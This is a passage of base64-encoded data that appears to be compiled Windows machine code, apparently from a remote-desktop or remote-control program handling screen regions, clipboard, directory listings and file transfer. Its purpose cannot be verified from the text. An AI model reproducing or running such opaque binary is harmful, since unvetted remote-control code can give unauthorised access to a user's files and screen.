CwegQC8jB6QiLwsHgEEEj1wvCweAIC8iJTCRETIuHqAAAAIB8JEEAD5XCTYtAMOhTbgAASIuHqAAAAESJqBQBAADpDRQAAEG4BQAAAEiNVCRBSIuPmAAAAOgpsQAAhcAPhO4TAABIi4+oAAAASIsB/5CAAAAAhcAPhNYTAABIi4+oAAAASIsB/5CQAAAAhcAPhb4TAAAPt0QkQmbBwAhmiUQkQmbBRCRECA+3yEiLh6gAAACJiJgAAAAPt0wkREiLh6gAAACJiJwAAABIi5+oAAAASIHDuAAAAEiJXCR4SIvL6HCv/v+QSIuPoAAAAEiLAUiNlZABAAD/kLADAAAPEAAPEUWoSIvL6Kmx/v8Pt0WoZgFEJEIPt0WsZgFEJES7AYAAAEiLj6AAAABIiwFMi4eoAAAASYHAmAAAAEUzyUGL1f+QMAQAAEiLh6gAAAAPtkh1D7ZUJEEyyvbBAXRguRcAAAD/FTToAQCFwHQQ9kQkQQG7EAAAAEEPRd7rEvZEJEEBuwQAAAC4AgAAAA9F2IHLAYAAAEiLj6AAAABIiwFMi4eoAAAASYHAmAAAAEUzyUGL1f+QMAQAAA+2VCRBTIuHqAAAAA+2yoDhAkEPtkB1JAI6yHQzuEAAAACEybkgAAAAD0XBC9hIi4+gAAAASIsBSYHAmAAAAEUzyUGL1f+QMAQAAA+2VCRBSIuHqAAAAA+2SHUyyvbBBHRcuRcAAAD/FXfnAQCFwHQU9kQkQQS4BAAAALkCAAAAD0XB6w72RCRBBLgQAAAAQQ9FxgvYSIuPoAAAAEiLAUyLh6gAAABJgcCYAAAARTPJQYvV/5AwBAAAD7ZUJEFBi/T2wgh0FEiLh6gAAAD2QHUIdQe+eAAAAOsX9sIQdBZIi4eoAAAA9kB1EHUJvoj///8PuusL/xXB5gEASI1VqEiLyP8V1OYBAESLRbREK0WsQf/ID7dEJERpwP//AACZQff4RIvARItVsEQrVahB/8oPt0QkQmnA//8AAJlB9/qL0EyJZCQgRIvOi8v/FZvmAQBIi4+oAAAAi0QkQIlBdA+3RCREZolBeEiLh6gAAABEiagUAQAAM8nor9UAAEiLj6gAAABIiYGIAAAASIuPqAAAAEiLAf9QIEiLj6AAAABIiwH/kLgAAADp4BAAAEG4BwAAAEiNVCRBSIuPmAAAAOgIrgAAhcAPhM0QAACLTCREi9mB4wAA/wCLwcHoEAvYwesIi8HB4BBBI88LwcHgCAvYjUsB6MuyAABIi/BIhcAPhIgQAADGBAMARIvDSIvQSIuPmAAAAOixrQAAhcB1DUiLzuj91AAA6WEQAABIi4+oAAAASIsB/1B4hcB0J0iLj6gAAABIiwH/kIAAAACFwHQTSIuPoAAAAEiLAUiL1v+QeAEAAEiLzui41AAA6RwQAABIi4+gAAAASIsB/5B4AwAAhcAPhKX0//9Ii4+oAAAASIsB/5CIAAAAhcAPhI30//9BuAMAAABIjVQkQUiLj5gAAADoFK0AAIXAD4TZDwAAD7dEJEJmwcAIZolEJEJmO8YPh8IPAABED7fASI2V4AIAAEiLj5gAAADo3qwAAA+3RCRCxoQF4AIAAABIjZXgAgAASIvP6ILL///o/aYAAITAdVdIi5+oAAAASIHDIAEAAEiJXCR4SIvL6G6r/v+QxkWQgsdFkgAAAABmRIlllg+2RCRBDICIRZFFi8ZIjVWQSIuPmAAAAOggrgAAkEiLy+iXrf7/6SgPAABIjUwkYOgIjf//kEiNjeACAABIg8j/SP/AgDwBAHX3SIXAD4X2AAAASI2VoAEAAIvO/xXr3wEAhcB1Z0iLn6gAAABIgcMgAQAASIlcJHhIi8vo3Kr+/5DGRYCCx0WCAAAAAGZEiWWGD7ZEJEEMgIhFgUWLxkiNVYBIi4+YAAAA6I6tAADoaaYAAJBIi8voAK3+/5BIjUwkYOiVjP//6YYOAABNi/SAvaABAAAAD4QwAgAASI21oAEAAEiLzui9xwEASIvYulwAAABIi8joUeEAAEiFwHQDxgAARTPJQYPI/0iL00iNTCRg6IWM//9Ii8voBbgAAEiNFb4nAgBIi87ofuAAAEn/xkwD8EiNtaABAABJA/aAPgB1oOnEAQAASI2N4AIAAEj/yUiNSQGAOQB19w+3BYYnAgBmiQEPtgV+JwIAiEECQYvN/xW83gEAi9hIjZWgAQAASI2N4AIAAP8V1t4BAEyL8P8VHeEBAIvwi8v/FZPeAQBJg/7/D4TsAAAASL+9Qnrl1ZS/1g8fgAAAAAAPtpXMAQAAD7aNzQEAADoVHCcCAHUMOg0VJwIAD4SPAAAAOhUMJwIAdRc6DQUnAgB1Dw+2hc4BAAA6BfcmAgB0cIuFtAEAAIlFoIuFuAEAAIlFpEi5AIAlnq4P1+9IA02gSIvHSPfpSAPRSMH6F0iLwkjB6D9IA9BIiVWg9oWgAQAAEHQJRTPJQYPI/+sS9kQkQRB1HESLTaREi4XAAQAASI2VzAEAAEiNTCRg6C+L//9IjZWgAQAASYvO/xXv3QEAhcAPhTf///9Ji87/Fa7dAQBIi70gBAAA63X3xv3///90bUiLn6gAAABIgcMgAQAASIlcJHhIi8vooqj+/5DGRYiCx0WKAAAAAGZEiWWOD7ZEJEEMgIhFiUG+CAAAAEWLxkiNVYhIi4+YAAAA6E6rAADoKaQAAJBIi8vowKr+/5BIjUwkYOhViv//6UEMAABIjUwkYOj2zf//i/DB5gNIjUwkYOgnjP//i9hIjUwkYOjbzf//jUsIA84DwYlEJFhIY8joQK4AAEyL6EyNYAiNTghMY/FMA/DGAIIPtkwkQYDh8IhIAUiNTCRg6KDN//+L2MH7CLj/AAAAZiPYSI1MJGDoic3//2bB4AhmC8NmQYlFAkiNTCRg6LOL//+L8EiNTCRg6GfN//8D8MH+CLj/AAAAZiPwSI1MJGDokIv//4vYSI1MJGDoRM3//2YD2LgAAQAAZg+v2GZBI99mC95mQYldBGZBiV0GM8lEi/lIjUwkYOgYzf//hcAPjiMBAAC/AP8AAGZmZg8fhAAAAAAAQYvXSI1MJGDoA4v//4vYgeMAAP8AQYvXSI1MJGDo7or//4vwwe4QC/PB7ghBi9dIjUwkYOjXiv//i9jB4xBBi9dIjUwkYOjFiv//I8cLw8HgCAvGQYkEJEGL10iNTCRg6FuK//+L2IHjAAD/AEGL10iNTCRg6EaK//+L8MHuEAvzwe4IQYvXSI1MJGDoL4r//4vYweMQQYvXSI1MJGDoHYr//yPHC8PB4AgLxkGJRCQEQYvXSI1MJGDoMor//0mL1kgr0A8fQAAPH4QAAAAAAA+2CIgMEEiNQAGEyXXySIPI/0j/wEGAPAYAdfZI/8BMA/BB/8dJg8QISI1MJGDo/cv//0Q7+A+M9P7//0iLvSAEAABIi5+oAAAASIHDIAEAAEiJXCR4SIvL6CKm/v+QRItEJFhJi9VIi4+YAAAA6O2oAADoyKEAAJBIi8voX6j+/5BIjUwkYOj0h///Qb0BAAAA6csJAABIi4+gAAAASIsB/5B4AwAAhcAPhGPu//9Ii4+oAAAASIsB/5CIAAAAhcAPhEvu//9BuAcAAABIjVQkQUiLj5gAAADo0qYAAIXAD4SXCQAAZsFEJEIIi0wkRIvRgeIAAP8Ai8HB6BAL0MHqCIvBweAQQSPPC8HB4AgL0IlUJETo1qAAAEiLj5gAAACEwHVjRA+3RCRCM9LofqYAAA8QBd8iAgAPEYWwAAAADxAN4SICAA8RjcAAAAAPtwXjIgIAZomF0AAAAEiNhbAAAABIg8r/SP/CgDwQAHX3TI2FsAAAAEiLj6gAAADobdD//+n1CAAAD7dEJEJED7fAZjvGdl4z0ugTpgAADxAFnCICAA8RRSjyDxANoCICAPIPEU04iwWdIgIAiUVAD7cFlyICAGaJRURIjUUoSIPK/0j/woA8EAB190yNRShIi4+oAAAA6AbQ///oUaAAAOmJCAAASI2V4AIAAOiwpQAAD7dEJELGhAXgAgAAAEiNleACAABIi8/oVMT//0iNleACAABIi4+oAAAASIHBZAIAAA+2AogBSI1SAUiNSQGEwHXvQYvN/xUN2QEAi9hIjZWgAQAASI2N4AIAAP8VJ9kBAEyL8P8VbtsBAIvL/xXm2AEA9oWgAQAAEA+FygAAAEmD/v8PhMAAAACAveACAAAAD4SzAAAAi7XAAQAASYvO/xW72AEASIufqAAAAEiLlbQBAABIi8volcX//4mDaAMAAIX2dRRIi4+oAAAAi5FoAwAA6InO///rZkGLzf8VdtgBAIvYTIlkJDDHRCQoAAAACMdEJCADAAAARTPJRYvFugAAAIBIjY3gAgAA/xV/2gEASIuPqAAAAEiJgVABAACLy/8VMdgBAEiLh6gAAABIg7hQAQAA/3QHRImoTAEAAOj8ngAA6SIHAABJi87/FQ7YAQAPEAUHIQIADxGFQAEAAA8QDQkhAgAPEY1QAQAADxAFCyECAA8RhWABAADyDxANDCECAPIPEY1wAQAAD7YFBSECAIiFeAEAAEiNhUABAABIg8r/SP/CgDwQAHX3TI2FQAEAAEiLj6gAAADoMM7//+h7ngAAQb4IAAAA6aYGAABIi4+gAAAASIsB/5B4AwAAhcAPhCrr//9Ii4+oAAAASIsB/5CIAAAAhcAPhBLr//9BuAcAAABIjVQkQUiLj5gAAADomaMAAIXAD4ReBgAAZsFEJEIIi0wkRIvRgeIAAP8Ai8HB6BAL0MHqCIvBweAQQSPPC8HB4AgL0IlUJETonZ0AAITAdWpED7dEJEIz0kiLj5gAAADoRaMAAA8QBaYfAgAPEYWIAAAADxANqB8CAA8RjZgAAAAPtwWqHwIAZomFqAAAAEiNhYgAAABIg8r/SP/CgDwQAHX3TI2FiAAAAEiLj6gAAADo5M3//+m8BQAAD7dEJEK5BAEAAEQPt8BmO8FIi4+YAAAAdl0z0ujOogAADxAFtx8CAA8RRUgPEA28HwIADxFNWA+3BcEfAgBmiUVoD7YFuB8CAIhFakiNRUhIg8r/SP/CgDwQAHX3TI1FSEiLj6gAAADocs3//+gNnQAA6UUFAABIi5eoAAAASIHCYAEAAOhlogAAD7dMJEJIi4eoAAAAxoQBYAEAAABIi5eoAAAASIHCYAEAAEiLz+j7wP//SIuPqAAAAEiBwWABAABMiWQkMMdEJCgAAAAIuAIAAACJRCQgRTPJugAAAEBEjUAB/xXl1wEASIuPqAAAAEiJgVgBAABIi4eoAAAARImoSAEAAEiLj6gAAABIg7lYAQAA/w+FDvz//w8QBeUeAgAPEUUQiwXrHgIAiUUgD7cF5R4CAGaJRSRIjUUQSIPK/0j/woA8EAB190yNRRDoi8z//+gmnAAA6V4EAABIi4+gAAAASIsB/5B4AwAAhcAPhNvo//9Ii4+oAAAASIsB/5CIAAAAhcAPhMPo//9BuAUAAABIjVQkQUiLj5gAAADoSqEAAIXAD4QPBAAAZsFEJEIIZsFEJEQI6HGbAACEwA+3RCRED4WHAAAAZoN8JEIAdQtmhcBBuAQAAAB0BEQPt8Az0kiLj5gAAADo/6AAAA8QBWAdAgAPEYXYAAAADxANYh0CAA8RjegAAAAPtwVkHQIAZomF+AAAAEiNhdgAAABIg8r/SP/CgDwQAHX3TI2F2AAAAEiLj6gAAADonsv//0iLj6gAAADo8r7//+lqAwAAZoN8JEIAD4WeAAAAZoXAD4WVAAAAQbgEAAAASI1VmEiLj5gAAADocqAAAItNmIvRgeIAAP8Ai8HB6BAL0MHqCIvBweAQQSPPC8HB4AgL0IlVmEiLn6gAAABMjUXwSIvL6Djd//9MjU3wTI1F8EiNVfBIi4tYAQAA/xXX0wEASIuPqAAAAEiLiVgBAAD/FQvWAQBIi4eoAAAARImgSAEAAOiImgAA6bkCAAAPt8jo46QAAEiL2EQPt0QkREiL0EiLj5gAAADo058AAIB8JEEAD4SKAAAASIvL6BjHAAAPEAXpHAIADxGFAAEAAA8QDescAgAPEY0QAQAADxAF7RwCAA8RhSABAAAPtwXvHAIAZomFMAEAAA+2BeMcAgCIhTIBAABIjYUAAQAASIPK/0j/woA8EAB190yNhQABAABIi4+oAAAA6ETK//9Ii4+oAAAA6Ji9///o05kAAOkEAgAARA+3RCRESIuPqAAAAEyJZCQgTI1N4EiL00iLiVgBAAD/FSDVAQCL8EiLy+hmxgAAD7dMJEQ5TeB1CIX2D4W9AQAADxAFXRwCAA8RRXDyDxANYRwCAPIPEY2AAAAASI1FcEiDyv9I/8KAPBAAdfdMjUVwSIuPqAAAAOiwyf//SIuPqAAAAOgEvf//6D+ZAADpawEAAEiLj6AAAABIiwH/kHgDAACFwA+E9OX//0iLj6gAAABIiwH/kIgAAACFwA+E3OX//0G4AwAAAEiNVCRBSIuPmAAAAOhjngAAhcAPhCgBAADolpgAAA+3RCRCZsHACGaJRCRCD7fA/8BIY8joM6MAAEiL2EQPt0QkQkiL0EiLj5gAAADoI54AAA+3TCRCxgQZAEiLj6gAAADoXrz//0iLy+hexQAA6JGYAADpwgAAAEiLj6AAAABIiwH/kHgDAACFwA+ERuX//0iLj6gAAABIiwH/kIgAAACFwA+ELuX//0G4AwAAAEiNVCRBSIuPmAAAAOi1nQAAhcAPhHoAAADo6JcAAA+3RCRCZsHACGaJRCRCD7fA/8BIY8johaIAAEiL2EQPt0QkQkiL0EiLj5gAAADodZ0AAA+3TCRCxgQZAEiL00iLz+ghvP//SIvYM9JIi8j/FRvRAQDpQP///0Uz5EG/AP8AAEG+CAAAAL7/AAAASI0dg9/9/4uFMAQAAIXAD4Up5P//SItNCOjMlQAASIuHoAAAAEiLGEiLj6gAAABIiwH/kKgAAAAPt9BIi4+gAAAA/5OAAAAASIucJCgFAABIgcTgBAAAQV9BXkFdQVxfXl3DDx8A9wQCAKcFAgBwCgIA0AsCAHAMAgCRDwIAVRACAJcWAgDQGQIAHxwCAAYfAgC0HwIAEgUCAAAMAQIDBAUMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwGBwgJCgoLzMzMzMzMzEiJTCQIU0iD7DBIx0QkIP7///9Ii9lIg8Fo6MGV/v+QSI2LUAUAAOhEWgAAM8BIiUMQSIlDGEiJQyBIiUMwSImD+AQAAImDGAUAAEiJQ1hIiUNQSIlDYIkDSImDIAUAAEiJgzgFAABIiYMoBQAASImDMAUAAEiJQziJQ0BIiYNABQAAiYNYBQAASIlDSIlDKEiLw0iDxDBbw8zMzMzMzMxIiUwkCFNIg+wwSMdEJCD+////SIvZSIN5EAB0KkUzyUUzwEGNURJIi0kY/xX30gEASI1UJEhIi0sQ6BGZ/v9Ix0MQAAAAAEiLy+hhKwAAkEiNi1AFAADohFkAAJBIjUtoSIPEMFvpRZb+/8zMzMzMQFNIg+wgSI0FwxsCAEiL2UiJAfbCAXQF6GeiAABIi8NIg8QgW8PMzMzMzMzMzMzMSIlMJAhXSIPsMEjHRCQg/v///0iJXCRISIl0JFCL8kiL2UiNBRcdAgBIiQFIi7nQAAAASIX/dBFIi8/owJX+/0iLz+gMogAAkEiNi6gAAADou5X+/5BIi8vo0pX+/0D2xgF0CEiLy+jooQAASIvDSItcJEhIi3QkUEiDxDBfw8xAU0iD7CBIi9lIi0kISIsB/5AoAQAAhcB0EUiLSwhIiwH/kBgBAACFwHUeg3s8AHUYSItLCLoBAAAASIsBSIPEIFtI/6AgAQAASIPEIFvDzEiD7ChFM8lFM8BBjUlWhdJ0F41Rq/8VrdABAP8Vz9EBAEG5AgAAAOsSM9L/FZfQAQD/FbnRAQBJg8n/Qbhw8QAAuhIBAABIi8hIg8QoSP8lbNEBAMzMzMzMzMzMzMzMzEiL0UiNDWYSAABI/yV/0AEAzMzMzMzMzMzMzMzMzMzMSIvEVldBVkiB7IAAAABIx0C4/v///0iJWBBIiWgYSIvqSIv5SI1ZaEiJWAhIi8voHJj+/5BIi8/o4wAAAEiLV2BIi09Q/xV1zAEASIvwSIXAD4SfAAAARIuHDAUAAEQrh5QAAACLlwgFAAArl5AAAADHRCRAAwAAADPASIlEJDiJRCQwiUQkKIlEJCBMi4/4BAAASItPUP8Vu88BAEiL1kiLT1D/FRbMAQBIi08ISIsBSI1UJFj/kLADAABMjUQkWEiNlwgFAABIjY8IBQAA/xWr0AEAhcB0HQ8QhwgFAAAPKUQkcEyLxUiNVCRwSIvP6OsLAACQSIvL6LKZ/v9MjZwkgAAAAEmLWyhJi2swSYvjQV5fXsPMzMzMzMzMzMzMQFNIg+xASIO5+AQAAABIi9kPhJcAAABIjUwkUP8VRtABAIXAD4SEAAAASIuL+AQAAEiNVCQg/xWM0AEAhcB0MItEJCRIi0wkMClEJFCLRCQoKUQkVEiFyXQG/xUwywEASItMJDhIhcl0Bv8VIMsBAItEJFC5DQAAAImDCAUAAItEJFSJgwwFAAD/FenPAQC5DgAAAANEJFCJgxAFAAD/FdTPAQADRCRUiYMUBQAASIPEQFvDzMzMzMzMzMzMzMzMSIPsOEiLQUhIhcB0HYB4SQB0Fw8QAkiNVCQgDylEJCDoKwEAAEiDxDjDDxACSI1UJCAPKUQkIOgUAAAASIPEOMPMzMzMzMzMzMzMzMzMzMxIi8RXQVZBV0iD7HBIx0DI/v///0iJWBBIiWgYSIlwIE2L+EyL8kiL8UiNWWhIiVgISIvL6OeV/v+Q/xXgyQEASItWYEiLTlD/FULKAQBIi+hIhcB0fkGLTgRFixZFi14MRCvZRYtOCEUrykSLwUQrhpQAAABBi9IrlpAAAADHRCRAIADMAIlMJDhEiVQkMEiLRlhIiUQkKESJXCQgSItOUP8VackBAIv4SIvVSItOUP8V2skBAIX/dBpBDxAGDylEJGBNi8dIjVQkYEiLzujdCQAAkEiLy0yNXCRwSYtbKEmLazBJi3M4SYvjQV9BXl/pi5f+/8zMzMzMzMzMzMzMSIlcJAhIiWwkEEiJdCQYV0iD7DBIi+lIg8FoSYvwSIv66PqU/v9Mi01IDxAHTYtJMEiNVCQgTIvGDylEJCBIi83ougoAAEiNTWhIi1wkQEiLbCRISIt0JFBIg8QwX+kdl/7/zMzMzMzMzMzMzMzMzEBTSIPsIEiL2egSGwAAhcB1UbmcAAAA6NycAABIiYNABQAASIXAdDtMi8CDyv8zyf8V4s0BAEiLi0AFAACFwHQSi0FsiYNIBQAAi0FwiYNMBQAA6AydAABIx4NABQAAAAAAAEiDxCBbw8zMzMzMzMxBV0iD7DBIx0QkIP7///9IiVwkQEiJdCRISIl8JFBMiXQkWE2L8EyL+kiL+UmLGEiLG0k7HnQkTIuHKAUAAEiNUxBIi8/ohv3//0yNQxBJi9dIi8/oRw8AAOvUSItcJEBIi3QkSEiLfCRQTIt0JFhIg8QwQV/DzMzMzMzMzMzMzEiJTCQIU1ZXQVZBV0iB7IAAAABIx0QkMP7///9Ii/lIi0kISIsB/5BoBAAAhcB0F0iLz+iIJAAASItPCEiLATPS/5BgBAAASIvP6AEoAACDvxgFAAAAdRboA4wAAIXAdA3o+pT//4TAdAQz2+twM9uJnxgFAABIi8/osiQAAIXAdRFIi08ISIsB/1A4M8DpTwQAAEiLz+h1/v//SIvP6N0lAABIi08IhcBIiwF1Cv9QODPA6SoEAAD/kAgEAABIjZeQAAAASI2PUAUAAOifUgAASItPCEiLAf+Q8AAAAEiLTwhIiwFIjVQkYP+QsAMAAEiNVCRASIvP6JMSAABMjYeQAAAASI1UJEBIjUwkQP8V3MsBAEiNVCRgSI1MJED/FdTKAQCFwA+FuQAAAA8oRCRAZg9/RCRwSItPCEiLAUiNVCRw/5C4AwAAQDL2i0wkSCtMJECLRCRoK0QkYDvBdRSLTCRMK0wkRItEJGwrRCRkO8F0A0C2AUiLTwhIiwFAD7bW/5DwAwAASI2PUAUAAOhsUgAAQIT2dEJIi08ISIsB/5CAAwAAhcB0MYtEJEg7RCRAdRSLRCRMO0QkRHUKuAEAAADpGgMAAEiNVCRASI2PUAUAAOiXUQAA6wq4AQAAAOn9AgAASItPCEiLAf+Q+AMAAIXAdCxMi4coBQAASI1UJGBIi8/oRvv//0iLV0hIhdJ0D4B6SAB0CUiLQiiLCIlKOEiLTwhIiwH/kAAEAACFwA+EcgIAAEiNjCTIAAAA6AxRAACQSItPSEiFyXQ8gHlIAHQ2iZwkuAAAAEyNh1AFAABIjYQkuAAAAEiJRCQoi4eUAAAAiUQkIESLj5AAAABIi9foKJz//+sRg38gAHQLiV8gSIvP6LUZAABIi08ISIsB/5DIAwAAhcB1EUiLTwhIiwH/kOgDAACFwHQXSItHSEiFwHQGgHhKAHUISIvP6Hz4//+Dv1gFAAAAD4SyAAAASItPCEiNt1wFAABIiwFMjYdsBQAASIvW/5DYAAAAiZ9YBQAATI2HbAUAAEiL1kiLz+gJBAAATIuHKAUAAEiL1kiLz+gn+v//TIvGSI2UJMgAAABIi8/o5AsAAIuPbAUAAIlMJHBEi4dwBQAARIlEJHSLh2QFAAArBgPBiUQkeIuHaAUAACuHYAUAAEEDwIlEJHxIjVQkcEiNj1AFAADo7E8AAEiL1kiNj1AFAADobVIAAEiNjCTAAAAA6LBPAACQSI2MJMAAAADoUlAAAEiNVCRgSI2MJMAAAADosE8AAEiNlCTAAAAASI2PUAUAAOjMUAAASIlcJFBIiVwkWEUzwDPSSI1MJFDoc9L//0iJRCRQSI1UJFBIjY9QBQAA6N1QAABMjUQkUEiNlCTIAAAASIvP6Gj7//9Ii08ISIsB/5DgAAAASItPCEiLAUiNlCTIAAAA/5DQAAAASI2PUAUAAOi6TwAAkEiLRCRQSIsISIkASItEJFBIiUAISIlcJFhIi0QkUEg7yHQbZg8fRAAASIsZ6PyXAABIi8tIi0QkUEg72HXrSIvI6OeXAACQSI2MJMAAAADoxU4AAJBIjYwkyAAAAOi3TgAASItPCEiLAf+Q+AMAAIXAdRFIi08ISIsB/5AABAAAhcB0DkiLTwhIiwH/kMAAAACQuAEAAADrAjPASIHEgAAAAEFfQV5fXlvDzMzMzMzMzMzMzMzMzMzMSIlcJBhVQVZBV0iD7CBIi+pMi/pMi/Ez20iLzUiJdCRAjVMK6M/HAABIi/BIhcB0VkiJfCRISDv1dB5Ii/5KjQwzSIvVSCv9TIvH6FCmAABIA9+Afv8NdAhCxgQzDUj/w0LGBDMKSI1uAboKAAAASIvNSP/D6H7HAABIi/BIhcB1tEiLfCRISIt0JEBIg8j/SP/AQYA8BwB19kwr/UqNDDNIi9VNjUcBTAPASItcJFBIg8QgQV9BXl3p4qUAAMzMSIlcJAhIiXQkEEiJfCQYTIl0JCBVSIvsSIPsYIsyRItyBEiL+UiLSQhBKzBFK3AESIsBSIvaSI1V8P+QsAMAAEiNTcBIi9NMi8D/FeDGAQCFwA+E7QAAAEiNVcBIjY9QBQAA6EhNAACLRchEi0XAK0XARItNxEiLTwhEK8ZFK85IjVXwQQPARIlF0ESJTdSJRdiLRcwrRcRBA8GJRdxIiwH/kLADAABIjVXQSI1N4EyLwP8VeMYBAIXAD4SFAAAARItFwESLVcSLReArRdBEi03sRCtN5EQDwItF5CtF1ESJRcBEA9CLRegrReBFA8pEiVXEQQPARIlNzIlFyEErwIP4EHxARSvKQYP5EHw3SI1VwEiNj1AFAADoIk8AAItF4MeHWAUAAAEAAAAPEEXADxGHXAUAAImHbAUAAItF5ImHcAUAAEyNXCRgSYtbEEmLcxhJi3sgTYtzKEmL413DzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CCLgZQAAACLmfQEAABEiwpED7aZ1AQAAESLcgRBi3AERItiCCvwQcHrA0Ur4UyL6U2L0EyLgTAFAABMi/qLkZAAAABFD6/jQYsKRCvKQYv+K/iLwyvKRQ+vyw+vxkhj6EEPr8tJjQQISAPoi8MPr8dIY9hLjQQISAPYO/59L0U7dwx9dEGL/EyLx0iL1UiLy+jQowAASWOF9AQAAEH/xkgD6EgD2EU7dwx83OtLQYt/DIvHQSvG/8hBD6+F9AQAAEiYSAPoSAPYQTv+fitBi/QPH0QAAEyLxkiL1UiLy+iCowAASWOF9AQAAP/PSCvoSCvYQTt/BH/dSItcJFBIi2wkWEiLdCRgSIPEIEFfQV5BXUFcX8NAVkFWQVdIg+xASYvwTIv6TIvxTDuBIAUAAA+EIAEAAEiDwWhIiVwkYEiJfCRw6D2L/v9Bi1cMQYuGlAAAAEGLTwRFix9Fi5acAAAATYuGIAUAAEUrnpAAAABEK9JBK1cEK8hEK9BBi4b0BAAARIvID6/QRA+vyUGJlrgAAABJY/lIA/5NhcB1MUWLTwxJi1ZgSYtOUEUrTwREiUQkMEmNhqQAAABIiUQkKEWLwkiJfCQg/xUAvwEA63NBD7aW1AQAAEiJbCRoQYtvBMHqA4vKQQ+vy0KNBAlIY/BIY8FIA/hBi0cISQPwQSsHD6/CQTtvDH00TIlkJHhMY+APH0AATYvESIvWSIvP6EKiAABJY4b0BAAA/8VIA/BIA/hBO28MfN1Mi2QkeEiLbCRoSY1OaOiajP7/SIt8JHBIi1wkYEiDxEBBX0FeXsPMzMzMzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7CCLWgREixIPtrnUBAAARCuRkAAAAMHvA4vDK4GUAAAATIvyTIv5RA+v1w+vgfQEAABBA8JImEqNLABKjTQIi0IIKwIPr8c7Wgx9MUhj+GZmZg8fhAAAAAAATIvHSIvWSIvN6IKhAABJY4f0BAAA/8NIA/BIA+hBO14MfN1Ii1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMzEiJXCQISIl0JBBXSIPsMDP/SIvZi/c5sTwFAAB1J0yNiSAFAABIjZGkAAAASItJUEUzwIl8JChIiXwkIP8VJr0BAEiL8Im7OAUAAEiLy0iF9nVaSIm7IAUAAOhhFgAASGPI6DGPAABIiYMoBQAASIXAdFxIi8vHgzgFAAABAAAA6DsWAABIY8joC48AAEiFwEiJgzAFAABAD5XHi8dIi1wkQEiLdCRISIPEMF/D6A4WAABIY8jo3o4AAEiJgzAFAABIhcB1G0iLzv8VAb0BADPASItcJEBIi3QkSEiDxDBfw0iLS2BIhcl0Cv8V4LwBAEiJe2BIi4MgBQAASIlzYEiLdCRISImDKAUAAEiLXCRAuAEAAABIg8QwX8PMzMzMzEiJXCQISIlsJBBIiXQkGEiJfCQgQVZIg+wgi/K66////0mL6UmL2EyL8f8VUMABAEiL+IH+CAMAAA+HgwEAAHR+g/4VD4SZAQAAg/5+dGGB/hMBAAAPhXUBAABI/8t0REj/y3QYSP/LD4W9AQAAM9JIi8joCO///+muAQAASItICEiLAf+QaAMAAIXAD4SZAQAAugEAAABIi8/o4e7//+mHAQAAx0AgAQAAAOl7AQAAx4AYBQAAAQAAAOlsAQAASItYGP8VH8ABAEg7ww+EzgAAAIM/AA+ExQAAAIN/OAAPhLsAAABIi08YM/aL7v8VBcABAIXAD4SlAAAAjU4B/xXEvwEASIvYSIXAdCJIi8j/FWO8AQBIhcB0C0iLyOh6pAEASIvoSIvL/xVSvAEA/xW8vwEASIXtdGdIg8v/Dx8ASP/DQDg0K3X3SI1LAegGlQAATIvwSIXbdB5Mi8BIi80PthGA+g10CEGIEP/GSf/ASP/BSP/LdehIY8ZIi81CxgQwAOiQlAAASItPCEiLAUmL1v+Q6AAAAEmLzuh4lAAASItPMMcHAQAAAEiFyXR8RTPJRTPAuggDAAD/FYC/AQDra4vGLQ0DAAB0O4P4BHQTTIvNTIvDi9ZJi87/FUe/AQDrSkiLz+jFFAAAhcB1CDPJ/xUpvwEASItPCEiLAf+Q8AAAAOslSItPMEg72XUGSIlvMOsWSIXJdBFMi81Mi8O6DQMAAP8VFb8BADPASItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzMzMzMzMzMxIiVwkEFZIg+wwSIvyuvD///9Ii9n/FRW+AQC5AAAAgEiFwQ+FsAAAAA+3FThhAwBIi8tIiXwkQP8VEr4BAEiLy0iL+EiFwA+EpQAAAP8VXb4BAEiLy4XAD4SLAAAASI1UJCD/Fde+AQCFwHRXRItEJCCLVCQkD7/HSMHvEIlEJFAPv8+JTCRUQTvAdQQ7ynRDD7fKD7cVzWADAEEPt8DB4RALyExjwUiLy/8VqL0BAEyNRCRQSI1UJCBIi87oPvf//+sQD7cVnWADAEiLy/8VdL0BAEiLfCRAuAEAAABIi1wkSEiDxDBeww+3FXhgAwDr3P8VuL0BAIXAdNhIjVQkIEiLy/8VNr4BAIXAdMYPt0wkJA+3RCQgD7cVSWADAMHhEAvITGPBSIvL/xUovQEA66LMzMzMzMzMzMzMzMzMzA8QgdAEAAAPEQLyDxCJ4AQAAPIPEUoQw8zMzMzMzMzMSIlcJBBIiWwkGFZXQVRBVkFXSIPsMEWLCEQPtpHUBAAAQYtYBEEPEAAPEUQkIEWLWAhBweoDSIvpSIu9MAUAAEiLtSgFAABFK9lEK4mQAAAATIvii8MrgZQAAABBi9NNi/hFD6/KQQ+v0g+vgfQEAABBA8FIY8hIA/lIA/FBg/sgf2JBi0gMi8Erw4P4IH9VO9kPjfEAAABMY/IPH0QAAE2LxkiL1kiLz+hivAAAhcB1GkhjhfQEAAD/w0gD+EgD8EE7Xwx82em9AAAATI1EJCBJi9RIi82JXCQk6OAbAADppAAAAEG+AQAAAEE7WAwPjZQAAABMiWwkYExj6g8fAE2LxUiL1kiLz+gCvAAAhcB0IUWF9nQHiVwkJEUz9muF9AQAAA+Dww9IY8hIA/lIA/HrH0WF9nUaTI1EJCBJi9RIi82JXCQs6GQYAABBvgEAAABIY4X0BAAA/8NIA/hIA/BBO18MfJlMi2wkYEWF9nUYQYtHDEyNRCQgSYvUSIvNiUQkLOgnGAAASItcJGhIi2wkcEiDxDBBX0FeQVxfXsNIi8RIiVAQV0FUQVVBVkFXSIPsYEjHQMj+////SIlYCEiJaBhIiXAgRYv5TYvoSIv5SI1ZaEiLy+jDgv7/kESLpCSwAAAARYvEQYvXSItPWP8V0rYBAEiL6EiFwA+EUQEAAEiL0EiLT1D/FQG3AQBMi/BIhcB1DkiLzf8V4LYBAOkuAQAAx0QkQAIAAAAz9kiJdCQ4iXQkMIl0JCiJdCQgTYvNRTPAM9JIi09Q/xVWugEASYvWSItPUP8VsbYBALosBAAAjU4B6My2AABMi/BIi9BIjY+kAA